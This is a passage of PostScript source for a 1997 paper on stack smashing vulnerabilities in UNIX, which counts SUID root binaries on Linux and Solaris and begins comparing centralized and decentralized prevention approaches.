GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3283 7150 M (popular ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3874 7150 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4415 7150 M (were ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4822 7150 M (tested ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5293 7150 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5671 7150 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5994 7150 M (command: ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6780 7150 M (Linux ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7260 7150 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6874 M (Solaris) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1663 6915 M (11) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1801 6874 M (.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6598 M (On ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1968 6598 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2101 6598 M (Linux ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2557 6598 M (machine ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3180 6598 M (running ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3756 6598 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4018 6598 M (2.0.30 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4493 6598 M (kernel, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5010 6598 M (built ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5373 6598 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5757 6598 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5890 6598 M (modified ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6550 6598 M (version ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7099 6598 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 6598 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 1200 6322 M (Slackware) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1893 6322 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1970 6322 M (distribution, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2849 6322 M (56 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3086 6322 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3546 6322 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3885 6322 M (world-executable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5111 6322 M (binaries ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5709 6322 M (existed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6251 6322 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6488 6322 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6762 6322 M (system. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7380 6322 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6046 M (subtle ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1648 6046 M (byte ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1984 6046 M (copying ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2569 6046 M (error ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2944 6046 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3123 6046 M (any ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3413 6046 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3703 6046 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3892 6046 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4145 6046 M (above ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4592 6046 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5272 6046 M (could ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5691 6046 M (allow ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6110 6046 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6355 6046 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6479 6046 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6871 6046 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5770 M (vulnerability. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2186 5770 M (Comparatively, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3262 5770 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3446 5770 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3565 5770 M (distribution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4376 5770 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4560 5770 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4808 5770 M (Solaris ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5316 5770 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5989 5770 M (system, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6539 5770 M (approximately ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5494 M (67 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1456 5494 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1932 5494 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2287 5494 M (world-executable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3529 5494 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4246 5494 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4499 5494 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4789 5494 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5339 5494 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5555 5494 M (total) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 5850 5535 M (12) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5988 5494 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6159 5494 M (As ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6431 5494 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6813 5494 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7103 5494 M (Linux ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5218 M (distribution, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2081 5218 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2305 5218 M (error ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2697 5218 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2893 5218 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3163 5218 M (coding ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3682 5218 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3878 5218 M (handle ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4388 5218 M (dynamic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5028 5218 M (string ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5474 5218 M (variables ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6142 5218 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6338 5218 M (any ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6645 5218 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6952 5218 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7158 5218 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4942 M (system binaries could allow for a stack smashing vulnerability.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 4666 M (Using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2154 4666 M (Linux ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2604 4666 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2897 4666 M (Solaris ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3413 4666 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3605 4666 M (examples, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4329 4666 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4622 4666 M (may ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4962 4666 M (conclude ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5615 4666 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5917 4666 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6044 4666 M (significant ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6799 4666 M (number ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 4666 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4390 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1654 4390 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1985 4390 M (binaries ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2575 4390 M (exist ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2952 4390 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3144 4390 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3410 4390 M (typical ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3925 4390 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4404 4390 M (distribution. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5317 4390 M (Any ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5666 4390 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5969 4390 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6171 4390 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6576 4390 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7269 4390 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4114 M (become ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1815 4114 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1977 4114 M (target ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2444 4114 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2727 4114 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3157 4114 M (smashers, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3899 4114 M (thus, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4306 4114 M (prevention ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5105 4114 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5433 4114 M (protection ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6195 4114 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6422 4114 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6852 4114 M (files ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7227 4114 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7426 4114 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3838 M (necessity.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p160000 SETFONT GS n 1200 3512 M (11. Stack Smashing Prevention) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 3222 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1873 3222 M (centralized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2650 3222 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2836 3222 M (decentralized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3770 3222 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4427 3222 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4705 3222 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4909 3222 M (taken ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5316 3222 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5492 3222 M (avoid ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5908 3222 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6297 3222 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6973 3222 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2946 M (vulnerabilities. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2347 2946 M (To ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2641 2946 M (do ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2916 2946 M (so, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3215 2946 M (changes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3860 2946 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4293 2946 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4559 2946 M (implemented ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5537 2946 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5775 2946 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6087 2946 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6870 2946 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2670 M (themselves, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2045 2670 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2226 2670 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2481 2670 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2644 2670 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3603 2670 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4255 2670 M (compilers, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5006 2670 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5197 2670 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5378 2670 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5633 2670 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6313 2670 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6828 2670 M (kernel. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7380 2670 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2394 M (centralized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2008 2394 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2690 2394 M (involves ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3325 2394 M (modification ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4247 2394 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4458 2394 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4993 2394 M (libraries ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5611 2394 M (and/or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6108 2394 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6337 2394 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7037 2394 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2118 M (kernel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1709 2118 M (while ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2166 2118 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2328 2118 M (decentralized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3303 2118 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4001 2118 M (involves ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4652 2118 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4943 2118 M (modification ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5881 2118 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6108 2118 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6870 2118 M (programs ) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 21 21 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 9848 M (and/or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1692 9848 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1866 9848 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2836 9848 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3499 9848 M (compilers. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4261 9848 M (Of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4500 9848 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4905 9848 M (two ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5217 9848 M (basic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5622 9848 M (approaches, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6476 9848 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6613 9848 M (decentralized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1908 9572 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2111 9572 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2546 9572 M (immediately ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3470 9572 M (expensive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4227 9572 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4614 9572 M (respect ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5178 9572 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5399 9572 M (manpower ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6194 9572 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6526 9572 M (workload, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7288 9572 M (but ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9296 M (cheaper ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1777 9296 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1964 9296 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2225 9296 M (long ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2578 9296 M (term ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2942 9296 M (providing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3646 9296 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3778 9296 M (stable, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4266 9296 M (long ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4619 9296 M (lasting ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5120 9296 M (solution. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5755 9296 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5933 9296 M (centralized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6721 9296 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7389 9296 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9020 M (cheaper ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1776 9020 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1958 9020 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2214 9020 M (short ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2600 9020 M (term, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3001 9020 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3349 9020 M (respect ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3874 9020 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4056 9020 M (manpower ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4812 9020 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5105 9020 M (workload, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5828 9020 M (but ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6093 9020 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6257 9020 M (near ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6597 9020 M (impossible ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 9020 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8744 M (implement as a long term solution. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 8443 M (11.1 Program modification) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 8160 M (To ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1956 8160 M (effectively ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2736 8160 M (fix ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2989 8160 M (defective ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3667 8160 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4124 8160 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4460 8160 M (program, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5135 8160 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5277 8160 M (number ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5854 8160 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6061 8160 M (modifications ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7044 8160 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7343 8160 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7884 M (made ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1618 7884 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1801 7884 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2058 7884 M (p) ST -3 0 MR (r) ST -3 0 MR (o) ST -3 0 MR (g) ST -3 0 MR (r) ST -3 0 MR (a) ST -3 0 MR (m) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2772 7884 M (source ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3261 7884 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3629 7884 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3812 7884 M (avoid ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4235 7884 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4631 7884 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5314 7884 M (vulnerabilities. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6403 7884 M (Standard ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7049 7884 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7214 7884 M (byte ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7608 M (copy ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1584 7608 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1777 7608 M (concatenation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2754 7608 M (functions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3427 7608 M (often ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3823 7608 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4081 7608 M (crucial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4588 7608 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4771 7608 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5149 7608 M (buffer 